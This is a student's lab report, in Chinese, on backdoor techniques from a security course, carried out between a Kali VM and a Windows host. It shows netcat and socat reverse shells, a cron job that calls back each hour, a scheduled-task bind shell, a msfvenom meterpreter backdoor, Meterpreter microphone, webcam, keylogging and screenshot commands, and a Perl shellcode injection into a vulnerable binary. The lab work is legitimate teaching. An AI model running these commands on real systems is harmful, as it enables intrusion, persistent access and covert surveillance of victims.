1.实验内容
实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
钓鱼邮件附件:攻击者发送带有恶意附件的钓鱼邮件,当用户打开附件时,后门程序被悄无声息地安装到系统中
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows系统:注册表启动项:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run、计划任务:通过schtasks创建定时任务、服务方式:注册为系统服务、启动文件夹:%AppData%\Microsoft\Windows\Start Menu\Programs\Startup、WMI事件订阅、DLL劫持
Linux系统:crontab定时任务:/etc/crontab 或用户cron、systemd服务:/etc/systemd/system/、rc.local:/etc/rc.local、启动脚本:/etc/init.d/ 或 /etc/rc.d/、SSH authorized_keys后门、动态链接库劫持(LD_PRELOAD)
(3)Meterpreter有哪些给你映像深刻的功能?
内存驻留:Meterpreter完全在内存中运行,不向磁盘写入文件,极大增加了检测难度。
(4)如何发现自己有系统有没有被安装后门?
网络监控:检查异常网络连接:netstat -an(Windows)或 ss -tunlp(Linux)和监控DNS查询和异常出站流量,还有进程分析、安全工具扫描等
2.实验过程
实验环境
主机IP为172.16.177.59
KaliIP为192.168.183.128
一、使用netcat获取主机操作Shell,启动cron
在主机中使用ncat -l -p 2407
(本人学号后四位)监听本机的2407端口
在主机中获取虚拟机shell
在虚拟机中使用nc 172.16.177.59 2407 -e /bin/sh连接主机反弹shell
成功getshell
在虚拟机中获取主机shell
在虚拟机中用nc -l -p 2407
监听主机2407端口
在主机中用ncat -e cmd 192.168.183.128 2407
,成功获取到主机shell
在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务
在最后一行添加18 * * * * nc 172.16.177.59 2407 -e /bin/sh
,即在每个小时的第18分钟反向连接Windows主机的2407端口
等到每小时的18分,在ip地址为172.16.177.59
的主机端用ncat -l -p 2407
打开监听即可,在主机成功获取虚拟机的shell
二、使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理,在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:2407 exec:cmd.exe,pty,stderr
(这个命令的作用是把cmd.exe绑定到端口1218,同时把cmd.exe的stderr重定向)
设置好后我们按下Win+L
锁定工作台,即把电脑锁屏。解锁后由于Windows防火墙没关,发现弹出UAC警告,说明之前设置成功
在Kali中输入命令socat - tcp:172.16.177.59:2407
,成功获取Windows的Shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20232407_backdoor.exe
在Kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f exe > 20232407_backdoor.exe
在Windows上打开监听
在Kali上用nc 172.16.177.59 2407 < 20232407_backdoor.exe
将生成的20232407_backdoor.exe
后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.128
set LPORT 2407
配置完后的情况
接着输入exploit
进行监听,在Windows在打开20232407_backdoor.exe
后成功获取到Windows的shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录
截取主机屏幕
使用screenshot
指令可以进行截屏
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
前期准备,关闭地址随机化,设置堆栈可执行
在kali中输入msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.183.128 LPORT=2407 -f c
结合exp1中找到的pwn1的返回地址,加在shellcode开头,再在上覆盖缓冲区的随意字符,首先在Kali上生成shellcode在Kali本地测试,用如下代码生成inputexp2
,然后再按照之前的方法设置msf控制台
perl -e 'print "A" x 32; print "\xa0\xcf\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\xae\x8d\x66\x68\x04\xc2\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'
在一终端运行pwn1
在另一终端用msfexploit
监听,本地攻击成功
3.问题及解决方案
- 问题1:在windows中双击运行
20232407_backdoor.exe
无法运行 - 问题1解决方案:
ctrl+c
关闭nc 172.16.177.59 2407 < 20232407_backdoor.exe
4.学习感悟、思考
参与后门原理与实践实验,让我对网络安全的认知从 “理论” 落地到 “实操”。从用nc建立监听、socat获取 Shell,到用 Meterpreter 生成后门、控制主机摄像头与记录键盘,每一步都打破了我对 “后门技术” 的抽象印象 —— 原来攻击者可借系统调度(如 Linux 的cron、Windows 任务计划)实现持久控制,也能通过简单指令窃取隐私。实验中 “杀毒软件拦截后门” 的小插曲,更让我体会到攻防对抗的细节:攻击者想隐藏恶意程序,防御方则靠特征识别拦截威胁。这提醒我,网络安全不仅是技术问题,更是意识问题 —— 现实中,一个不明破解软件、一次随意的端口开放,都可能成为后门入侵的缺口。未来学习中,我会更注重 “攻防思维” 结合,既懂攻击原理,更会用防御视角守护系统安全。